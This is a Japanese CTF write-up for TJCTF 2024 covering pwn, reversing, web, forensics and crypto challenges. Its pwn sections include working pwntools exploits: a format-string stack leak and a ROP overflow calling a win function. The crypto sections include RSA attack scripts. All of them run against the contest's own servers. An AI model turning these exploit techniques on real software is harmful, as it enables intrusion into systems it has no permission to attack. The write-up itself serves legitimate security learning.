この大会は2024/5/18 3:30(JST)~2024/5/20 3:30(JST)に開催されました。
今回もチームで参戦。結果は1721点で518チーム中71位でした。
自分で解けた問題をWriteupとして書いておきます。
discord (misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
tjctf{wahooooooooooooooooooooooo}
cowsay (pwn)
FSBでスタック上にあるフラグを取得する。
#!/usr/bin/env python3 from pwn import * flag = '' i = 20 while True: payload = '%' + str(i) + '$p' p = remote('tjc.tf', 31258) data = p.recvuntil(b'> ').decode() print(data + payload) p.sendline(payload.encode()) for _ in range(2): data = p.recvline().decode().rstrip() print(data) flag += p64(eval(data.split(' ')[-1])).decode() i += 1 for _ in range(7): data = p.recvline().decode().rstrip() print(data) p.close() if '}' in flag: break flag = flag.rstrip('\x00') print(flag)
実行結果は以下の通り。
[+] Opening connection to tjc.tf on port 31258: Done what does the cow say??? > %20$p ____________________________________ < 0x306d7b6674636a74 > ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || [*] Closed connection to tjc.tf port 31258 [+] Opening connection to tjc.tf on port 31258: Done what does the cow say??? > %21$p ____________________________________ < 0x30665f6f6f6f306f > ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || [*] Closed connection to tjc.tf port 31258 [+] Opening connection to tjc.tf on port 31258: Done what does the cow say??? > %22$p ____________________________________ < 0x5474615f74616d72 > ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || [*] Closed connection to tjc.tf port 31258 [+] Opening connection to tjc.tf on port 31258: Done what does the cow say??? > %23$p ____________________________________ < 0x3333315f316b6361 > ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || [*] Closed connection to tjc.tf port 31258 [+] Opening connection to tjc.tf on port 31258: Done what does the cow say??? > %24$p ____________________________________ < 0xa7d37 > ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || [*] Closed connection to tjc.tf port 31258 tjctf{m0o0ooo_f0rmat_atTack1_1337}
tjctf{m0o0ooo_f0rmat_atTack1_1337}
ring-opening-polymerization (pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_10 [8]; gets(local_10); return 0; } void win(long param_1) { char local_78 [104]; FILE *local_10; local_10 = fopen("flag.txt","r"); fgets(local_78,0x23,local_10); printf("%i\n",param_1); if (param_1 == 0xdeadbeef) { puts(local_78); fflush(stdout); } else { puts("Bad!"); } return; }
BOFで引数に0xdeadbeefを指定してwin関数をコールすればよい。
$ ROPgadget --binary out --re "pop rdi" Gadgets information ============================================================ 0x0000000000401175 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret 0x0000000000401178 : mov ebp, esp ; pop rdi ; ret 0x0000000000401177 : mov rbp, rsp ; pop rdi ; ret 0x000000000040117a : pop rdi ; ret 0x0000000000401176 : push rbp ; mov rbp, rsp ; pop rdi ; ret Unique gadgets found: 5
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('tjc.tf', 31457) else: p = process('./out') elf = ELF('./out') pop_rdi_addr = 0x40117a win_addr = elf.symbols['win'] payload = b'A' * 16 payload += p64(pop_rdi_addr) payload += p64(0xdeadbeef) payload += p64(win_addr) print(payload) p.sendline(payload) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to tjc.tf on port 31457: Done [*] '/media/sf_Shared/out' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) b'AAAAAAAAAAAAAAAAz\x11@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x7f\x11@\x00\x00\x00\x00\x00' -559038737 tjctf{bby-rop-1823721665as87d86a5} [*] Closed connection to tjc.tf port 31457
tjctf{bby-rop-1823721665as87d86a5}
guess-what (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; int local_a4; FILE *local_a0; char local_98 [64]; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); puts("welcome to the guessing game!"); puts("guess what I\'m thinking"); fgets(local_98,0x40,stdin); iVar1 = strcmp(local_98,"nuh uh pls nolfjdl\n"); if (iVar1 == 0) { puts("please guess a number between 0 and 100:"); __isoc99_scanf(&DAT_00102089,&local_a4); if ((int)(0x17a / (long)local_a4) + 3 == local_a4) { puts("congratulations! you guessed the correct number!"); } else { puts("sorry, you guessed the wrong number!"); } local_a0 = fopen("flag.txt","r"); if (local_a0 == (FILE *)0x0) { puts("flag.txt not found - ping us on discord if you are running this on the server"); uVar2 = 1; } else { fgets(local_58,0x40,local_a0); puts(local_58); uVar2 = 0; } } else { puts("nuh uh!"); uVar2 = 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
以下のようにすれば、フラグが得られる。
・最初の入力で"nuh uh pls nolfjdl"を指定する。 ・次の入力では(0x17a / x) + 3 = xを満たすxを指定すれば、祝福のメッセージが表示されるが間違ってもよい。
$ nc tjc.tf 31478 welcome to the guessing game! guess what I'm thinking nuh uh pls nolfjdl please guess a number between 0 and 100: 50 sorry, you guessed the wrong number! tjctf{n3v3r_c0uld_r34d_y0ur_m1nd_8e6646a1}
tjctf{n3v3r_c0uld_r34d_y0ur_m1nd_8e6646a1}
wt-two (rev)
Ghidraでデコンパイルする。
int main(int param_1,int **param_2) { byte bVar1; undefined4 uVar2; byte bVar3; int iVar4; size_t sVar5; byte local_f8 [64]; undefined4 local_b8 [4]; undefined4 local_a8; undefined4 local_a4; undefined4 local_a0; undefined4 local_9c; undefined4 local_98; undefined4 local_94; undefined4 local_90; undefined4 local_8c; undefined4 local_88; undefined4 local_84; undefined4 local_80; undefined4 local_7c; undefined4 local_78; undefined4 local_74; undefined4 local_70; undefined4 local_6c; undefined4 local_68; undefined4 local_64; undefined4 local_60; undefined4 local_5c; undefined4 local_58; undefined4 local_54; undefined4 local_50; undefined4 local_4c; undefined4 local_48; undefined4 local_44; int local_3c; int *local_38; int local_30; int local_2c; int *local_28; int local_1c; if (param_1 == 1) { puts("Guess my flag!!\n"); fgets((char *)local_f8,0x31,stdin); sVar5 = strlen((char *)local_f8); if (0x1d < sVar5) { local_28 = (int *)malloc(4); local_b8[0] = 0x75; local_b8[1] = 0x6b; local_b8[2] = 0x61; local_b8[3] = 0x77; local_a8 = 99; local_a4 = 0x73; local_a0 = 0x7a; local_9c = 0x61; local_98 = 0xf; local_94 = 0x43; local_90 = 0x31; local_8c = 0xf5; local_88 = 0xc4; local_84 = 0x10d; local_80 = 0x215; local_7c = 0x3b4; local_78 = 0x652; local_74 = 0xa77; local_70 = 0x103a; local_6c = 0x1a02; local_68 = 0x2aa3; local_64 = 0x455c; local_60 = 0x6fc5; local_5c = 0xb518; local_58 = 0x12534; local_54 = 0x1da71; local_50 = 0x2ff26; local_4c = 0x4d915; local_48 = 0x7d8c6; local_44 = 0xcb255; local_2c = 0; while( true ) { if (0x1d < local_2c) { puts("Nice!!!"); return 1; } *local_28 = local_2c; bVar1 = local_f8[local_2c]; uVar2 = local_b8[local_2c]; bVar3 = main(3,&local_28); if (bVar1 != (byte)(bVar3 ^ (byte)uVar2)) break; local_2c = local_2c + 1; } } } else if (param_1 == 3) { local_30 = **param_2; if ((local_30 != 0) && (local_30 != 1)) { local_38 = (int *)malloc(4); local_3c = local_30 + -1; *local_38 = local_3c; local_1c = 0; iVar4 = main(3,&local_38); local_1c = local_1c + iVar4; local_3c = local_3c + -1; *local_38 = local_3c; iVar4 = main(3,&local_38); return local_1c + iVar4; } return 1; } puts("Wrong...\n"); return -1; }
フィボナッチ数列とlocal_b8[0]以降の値とXORしたものと比較しているので、それを算出する。
#!/usr/bin/env python3 def fib(n): if n == 0: return 1 elif n == 1: return 1 else: return fib(n - 1) + fib(n - 2) enc = [0x75, 0x6b, 0x61, 0x77, 99, 0x73, 0x7a, 0x61, 0xf, 0x43, 0x31, 0xf5, 0xc4, 0x10d, 0x215, 0x3b4, 0x652, 0xa77, 0x103a, 0x1a02, 0x2aa3, 0x455c, 0x6fc5, 0xb518, 0x12534, 0x1da71, 0x2ff26, 0x4d915, 0x7d8c6, 0xcb255] flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ fib(i)) print(flag)
tjctf{wt-the-twoooooas48%@dfs}
garfield-mondays (rev)
package com.tjctf.garfieldmondays; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.animation.LinearInterpolator; import android.view.animation.RotateAnimation; import android.widget.ImageView; import androidx.appcompat.app.AppCompatActivity; import java.math.BigInteger; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.Locale; /* loaded from: classes3.dex */ public class MainActivity extends AppCompatActivity { ImageView garfield; GarfieldView garfieldView; boolean isRotating = false; /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); this.garfieldView = (GarfieldView) findViewById(R.id.garfieldView); this.garfield = (ImageView) findViewById(R.id.flag); this.garfieldView.garfield = this.garfield; } public void waveFlag(View view) { if (isTodayMonday()) { SimpleDateFormat sdf = new SimpleDateFormat("HH:mm", Locale.US); String currentTime = sdf.format(new Date()); Log.i("FlagActivity", "Flag waved at: " + currentTime); String hashedTime = hashTime(currentTime); if ("cf4627b3786c8bad8cb855567bda362d8eca1809ea8839423682715cdf3aadad".equals(hashedTime)) { fetchSecrets(currentTime); } } RotateAnimation anim = new RotateAnimation(0.0f, 360.0f, 720.0f, 607.0f); RotateAnimation anim2 = new RotateAnimation(0.0f, -360.0f, 720.0f, 607.0f); anim.setInterpolator(new LinearInterpolator()); anim2.setInterpolator(new LinearInterpolator()); anim.setDuration(700L); anim2.setDuration(700L); if (!this.isRotating) { this.garfield.setAnimation(null); this.garfield.startAnimation(anim); this.isRotating = true; return; } this.garfield.setAnimation(null); this.garfield.startAnimation(anim2); this.isRotating = false; } public void fetchSecrets(String currentTime) { String modifiedTime = currentTime.replace(":", ""); int timeAsInt = Integer.parseInt(modifiedTime); int calculatedValue = (timeAsInt * 100) + 225390; String result = modifiedTime + calculatedValue; Log.i("Login Info", "Username: garfield Password: " + TimeEncoder.encodeTime(result)); } private String hashTime(String time) { try { MessageDigest md = MessageDigest.getInstance("SHA-256"); byte[] hash = md.digest(time.getBytes(StandardCharsets.UTF_8)); BigInteger number = new BigInteger(1, hash); StringBuilder hexString = new StringBuilder(number.toString(16)); while (hexString.length() < 32) { hexString.insert(0, '0'); } return hexString.toString(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return null; } } public boolean isTodayMonday() { Calendar calendar = Calendar.getInstance(); int dayOfWeek = calendar.get(7); return dayOfWeek == 2; } } package com.tjctf.garfieldmondays; import androidx.constraintlayout.widget.ConstraintLayout; /* loaded from: classes3.dex */ public class TimeEncoder { public static String encodeTime(String time) { char[] charArray; StringBuilder encoded = new StringBuilder(); for (char c : time.toCharArray()) { encoded.append(mapCharacter(c)); } return encoded.toString(); } private static String mapCharacter(char c) { switch (c) { case '(': return "46"; case '*': return "!"; case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE /* 48 */: return "4"; case ConstraintLayout.LayoutParams.Table.LAYOUT_EDITOR_ABSOLUTEX /* 49 */: return "g"; case '2': return "i"; case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_TAG /* 51 */: return "l"; case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_BASELINE_TO_TOP_OF /* 52 */: return "f"; case ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_BASELINE_TO_BOTTOM_OF /* 53 */: return "e"; case ConstraintLayout.LayoutParams.Table.LAYOUT_MARGIN_BASELINE /* 54 */: return "d"; case ConstraintLayout.LayoutParams.Table.LAYOUT_GONE_MARGIN_BASELINE /* 55 */: return "1"; case '8': return "2"; case '9': return "3"; case 'a': return "j"; case 'b': return "c"; case 'j': return "k"; case 'n': return "v"; case 'o': return "w"; case 'q': return "w"; case 'z': return "2"; case '}': return "{"; default: return ""; } } }
CrackStationで以下のハッシュをクラックすると、"14:25"であるとわかる。
cf4627b3786c8bad8cb855567bda362d8eca1809ea8839423682715cdf3aadad
fetchSecrets("14:25")でユーザ名とパスワードがわかる。
ユーザ名は"garfield"であることがわかる。
パスワードは以下のような処理でわかる。
・modifiedTime: "14:25"を":"を削除した文字列 → "1425" ・timeAsInt: modifiedTimeを数値にする → 1425 ・calculatedValue = (timeAsInt * 100) + 225390 ・result: modifiedTimeとcalculatedValueの文字列を結合したもの ・TimeEncoder.encodeTime(result)がパスワード
>>> (1425 * 100) + 225390 367890
calculatedValueは367890なので、resultは"1425367890"になる。
mapCharacter関数で対応する文字に変換する。
gfield1234
https://garfield-mondays.tjc.tf/で以下のユーザでログインする。
Username: garfield Password: gfield1234
ログイン成功し、フラグが表示された。
tjctf{g4rf1eld_lasagna_m0nday}
pseudo-brainrot (rev)
seedを使った乱数のため、lmaoの値は割り出せる。またlmaoをseedとして、乱数を使用している。このため、trollやrandnum、changeの値がわかる。
まず逆算し、new_flagを求める。その後indsのインデックスから元のflagを求める。
#!/usr/bin/env python3 from PIL import Image import random random.seed(42) lmao = random.randint(12345678, 123456789) img = Image.open('skibidi_encoded.png') width, height = img.size random.seed(lmao) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) inds = [i for i in range(288)] troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) randnum = random.randint(1, 500) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) for i in range(random.randint(0, 500), random.randint(500, 1000)): random.seed(i) random.shuffle(inds) if i==randnum: break troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) troll = [random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) for _ in range(random.randint(1,5000))] troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) pic_inds = [] while len(pic_inds) != 288: troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) pic_inds.append(random.randint(0, width * height)) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) new_flag = '' for i in range(288): troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) cur_ind = pic_inds[i] troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) row = cur_ind // height troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) col = cur_ind % width troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) colors = list(img.getpixel((row ,col))) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) change = random.randint(0, 2) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) new_flag += str(colors[change] & 1) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) troll = random.randint(random.randint(-lmao, 0),random.randint(0, lmao)) if i % randnum == 0: random.seed(random.randint(random.randint(-lmao, 0),random.randint(0, lmao))) st = ['*'] * 288 for i in range(288): st[inds[i]] = new_flag[i] st = ''.join(st) flag = '' for i in range(0, len(st), 8): flag += chr(int(st[i:i+8], 2)) print(flag)
tjctf{th@t_m@d3_m3_g0_1n5an3333!!!!}
frog (web)
https://frog.tjc.tf/robots.txtにアクセスすると、以下のように書いてある。
User-agent: * Disallow: /secret-frogger-78570618/
https://frog.tjc.tf/secret-frogger-78570618/にアクセスすると、たくさんのカエルの画像のページになる。HTMLソースを見ると、そのうちの一つがリンクになっている。
<a href="flag-ed8f2331.txt" style="text-decoration: none;">
https://frog.tjc.tf/secret-frogger-78570618/flag-ed8f2331.txtにアクセスすると、フラグが得られた。
tjctf{fr0gg3r_1_h4rdly_kn0w_h3r_3e1c574f}
conversations (forensics)
Wiresharkで開き、httpでフィルタリングする。No.1182のパケットで/flag.jpegにアクセスしていることがわかる。No.1198のパケットがレスポンスになっているので、flag.jpegをエクスポートする。
エクスポートした画像には特にフラグは見当たらない。EXIFを見てみる。
$ exiftool flag.jpeg ExifTool Version Number : 12.57 File Name : flag.jpeg Directory : . File Size : 271 kB File Modification Date/Time : 2024:05:18 06:38:36+09:00 File Access Date/Time : 2024:05:18 06:39:58+09:00 File Inode Change Date/Time : 2024:05:18 06:38:36+09:00 File Permissions : -rwxrwx--- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) Resolution Unit : inches Y Cb Cr Positioning : Centered Exif Version : 0232 Components Configuration : Y, Cb, Cr, - User Comment : tjctf{I_bh0p_to_sk00l_1337} Flashpix Version : 0100 Image Width : 1024 Image Height : 1024 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 1024x1024 Megapixels : 1.0
User Commentにフラグが設定されていた。
tjctf{I_bh0p_to_sk00l_1337}
thatsmyjam (forensics)
FTK Imagerで開き、/home/avatar-kyoshi/Music/sus.wavをエクスポートする。
Audacityで開くと、モールス信号になっているので、書き出す。
- .--- -.-. - ..-. .... . .-.. .-.. ----- .. ... .. - -- ...-- -.-- --- ..- .-. . .-.. ----- ----- -.- .. -. --. ..-. ----- .-.
https://morsecode.world/international/translator.htmlでデコードする。
TJCTFHELL0ISITM3YOUREL00KINGF0R
小文字にする。
>>> 'TJCTFHELL0ISITM3YOUREL00KINGF0R'.lower() 'tjctfhell0isitm3yourel00kingf0r'
tjctf{hell0isitm3yourel00kingf0r}
pals (forensics)
StegSolveで開き、Random colour map 1を見ると、フラグが現れた。
tjctf{not_very_palatable_9623c1c9}
weird-crypto (crypto)
暗号処理の概要は以下の通り。
・flag: フラグを数値化したもの ・oops: 20ビット素数 ・p1, p2: 512ビット素数 ・haha = (p1 - 1) * (p2 - 1) ・crazy_number = pow(oops, -1, haha) ・discord_mod = p1 * p2 ・hehe_secret = pow(flag, crazy_number, discord_mod) ・discord_modを表示 ・hehe_secretを表示 ・crazy_numberを表示
discord_modをn、crazy_numberをe、hehe_secretをcと考えれば、RSA暗号になっていることがわかる。eが非常に大きいので、Wiener's Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * from fractions import Fraction from base64 import b64decode def egcd(a, b): x, y, u, v = 0, 1, 1, 0 while a != 0: q, r = b // a, b % a m, n = x - u * q, y - v * q b, a, x, y, u, v = a, r, u, v, m, n gcd = b return gcd, x, y def decrypt(p, q, e, c): n = p * q phi = (p - 1) * (q - 1) gcd, a, b = egcd(e, phi) d = a pt = pow(c, d, n) return long_to_bytes(pt) def continued_fractions(n,e): cf = [0] while e != 0: cf.append(int(n // e)) N = n n = e e = N % e return cf def calcKD(cf): kd = list() for i in range(1, len(cf) + 1): tmp = Fraction(0) for j in cf[1:i][::-1]: tmp = 1 / (tmp + j) kd.append((tmp.numerator, tmp.denominator)) return kd def int_sqrt(n): def f(prev): while True: m = (prev + n // prev) // 2 if m >= prev: return prev prev = m return f(n) def calcPQ(a, b): if a * a < 4 * b or a < 0: return None c = int_sqrt(a * a - 4 * b) p = (a + c) // 2 q = (a - c) // 2 if p + q == a and p * q == b: return (p, q) else: return None def wiener(n, e): kd = calcKD(continued_fractions(n, e)) for (k, d) in kd: if k == 0: continue if (e * d - 1) % k != 0: continue phin = (e * d - 1) // k if phin >= n: continue ans = calcPQ(n - phin + 1, n) if ans is None: continue return (ans[0], ans[1]) with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) c = int(params[1].split(' ')[-1]) e = int(params[2].split(' ')[-1]) p, q = wiener(n, e) flag = decrypt(p, q, e, c).decode() print(flag)
tjctf{congrats_on_rsa_e_djfkel2349!}
accountleak (crypto)
サーバの処理概要は以下の通り。
・p, q: 512ビット素数 ・sub: 20ビット以下ランダム整数 ・my_password: 256ビットランダム整数 ・n = p * q ・c = pow(my_password, 65537, n) ・dont_leak_this = (p - sub) * (q - sub) ・c, nを表示 ・resp: 入力 ・respが"yea"の場合 ・dont_leak_thisを表示 ・tic: 現在時刻 ・resp: 数値入力 ・toc: 現在時刻 ・toc - ticが2.5以上の場合、メッセージを表示して終了 ・toc - ticが2.5未満で、respがmy_passwordと異なる場合、メッセージを表示して終了 ・toc - ticが2.5未満で、respがmy_passwordと一致する場合、フラグを表示して終了 ・respが"yea"以外の場合、メッセージを表示して終了
dont_leak_this = n - sub * (p + q) + sub * sub ↓ dont_leak_this % sub = n % sub
このことからsubを総当たりして、subの候補を出す。
p + q = (n + sub * sub - dont_leak_this) // sub phi = n - (p + q) + 1
これでmy_passwordを求め、pow(my_password, 65537, n)を計算し、cと一致するものを探す。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('tjc.tf', 31601)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) e = 65537 c = int(data.split(' ')[-3]) n = int(data.split(' ')[-1]) data = recvuntil(s, b'<You> ') print(data + 'yea') s.sendall(b'yea\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) dont_leak_this = int(data.split(' ')[-1]) for sub in range(10000, 2**20): if n % sub == dont_leak_this % sub: if (n + sub * sub - dont_leak_this) % sub == 0: p_plus_q = (n + sub * sub - dont_leak_this) // sub phi = n - p_plus_q + 1 d = inverse(e, phi) my_password = pow(c, d, n) if c == pow(my_password, e, n): break data = recvuntil(s, b'<You> ') print(data + str(my_password)) s.sendall(str(my_password).encode() + b'\n') for _ in range(3): data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
<Bobby> i have an uncrackable password maybe <Bobby> i'll give you the powerful numbers, 102870186642354054882916018726347818156380166547363496564116050446444114197238927248738956644638435161009135302671239159135153234128771561279299659032401374493705123463179225854824374502688095101268322136064957597672060221749068512154359620680198021829330617481752319610020055064658181788701620733583043669931 and 131208448459423794406869466450124412054448385739966862599654661390786987210667862387626690135663307390419236747841913391040415382781037614169471285701731914015075978687004197282121222531579951537389122766032083134854844439643481510620286738254730578395715433691921221569106913549249095163070370248288005925291 <Bobby> gl hacking into my account <Bobby> btw do you want to get my diamond stash <You> yea <Bobby> i'll send coords <Bobby> 131208448459423794406869466450124412054448385739966862599654661390786987210667862387626690135663307390419236747841913391040415382781037614169471285694363898842360379346215352969761602744988913389329032159334866086179915915788334106709858709564151329049328079008628115087616664542531634424714731420928901137511 <Bobby> oop wasnt supposed to copypaste that <Bobby> you cant crack my account tho >:) <You> 84793254852776950506203128680751549375483901999431237356758078492167552637824 <Bobby> NANI?? Impossible?!? <Bobby> I might as wel give you the flag <Bobby> tjctf{h3y_wh3r3_d1d_my_d1am0nds_g0_th3y_w3r3_ju5t_h3r3}
tjctf{h3y_wh3r3_d1d_my_d1am0nds_g0_th3y_w3r3_ju5t_h3r3}
assume (crypto)
暗号処理の概要は以下の通り。
・p: 64ビット素数 ・pを出力 ・剰余環p上に設定 ・g = mod(primitive_root(p), p) ・target_str: flag.txtの内容の1行目(改行付き) ・target.txtにtarget_strを追記 ・target_strの長さだけ以下繰り返し(pos) ・fixed_eve: ランダム英大文字1文字 ・以下20回繰り返し ・a: 1以上p-1以下のランダム整数 ・b: 1以上p-1以下のランダム整数 ・AliceからBobにg**aを送信 ・BobからAliceにbを送信 ・BobからAliceにg**bを送信 ・1以上2以下のランダム値が1の場合 ・c: 1以上p-1以下のランダム整数 ・AliceからBobへfixed_eveを送信 ・AliceからBobへg**cを送信 ・1以上2以下のランダム値が2の場合 ・AliceからBobへtarget_str[pos]を送信 ・AliceからBobへg**(a*b)を送信 ・answer: 入力 ・target_strとanswerが一致していたら、フラグを表示
各posごとにg**aとbからg**(a*b)を算出し、一致している場合、その文字を集めると、フラグになる。
#!/usr/bin/env python3 with open('log.txt', 'r') as f: lines = f.read().splitlines() p = int(lines[0]) lines = lines[1:] flag = '' for i in range(0, len(lines), 6 * 20): group = lines[i:i + 6 * 20] for j in range(0, len(group), 6): g_a = int(group[j].split(' ')[-1]) b = int(group[j+1].split(' ')[-1]) f = group[j+3].split(' ')[-1] g_c = int(group[j+4].split(' ')[-1]) if pow(g_a, b, p) == g_c: flag += f break if '}' in flag: break print(flag)
tjctf{legendary_legendre0xd5109ab3}
survey (misc)
アンケートに答えたら、フラグが表示された。
tjctf{and_we_say_bye_bye}